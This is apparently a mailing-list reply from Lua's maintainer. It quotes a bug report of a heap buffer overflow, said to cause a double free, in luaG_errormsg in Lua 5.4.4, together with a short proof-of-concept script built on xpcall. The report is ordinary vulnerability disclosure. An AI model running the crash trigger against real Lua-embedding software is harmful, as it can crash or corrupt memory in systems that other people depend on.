Re: heap-buffer-overflow found in luaG_errormsg

[Roberto Ierusalimschy <roberto@...>]

> I found a heap buffer overflow which can cause a heap double free error.
> 
> Lua version: Lua 5.4.4  Copyright (C) 1994-2022 Lua.org, PUC-Rio
> Latest commit: 8426d9b4d4df1da3c5b2d759e509ae1c50a86667
> 
> Platform: Ubuntu-20.04 x86_64
> Glibc version: GLIBC 2.31-0ubuntu9.9
> 
> POC:
> ---------------
> #poc.lua
> print(
>     xpcall((0),
>         function(...)
>             local f
>             if d[print(print(print(print(t[...]))))] then
>             end
>         end
>     )
> )

Many thanks for the report.

-- Roberto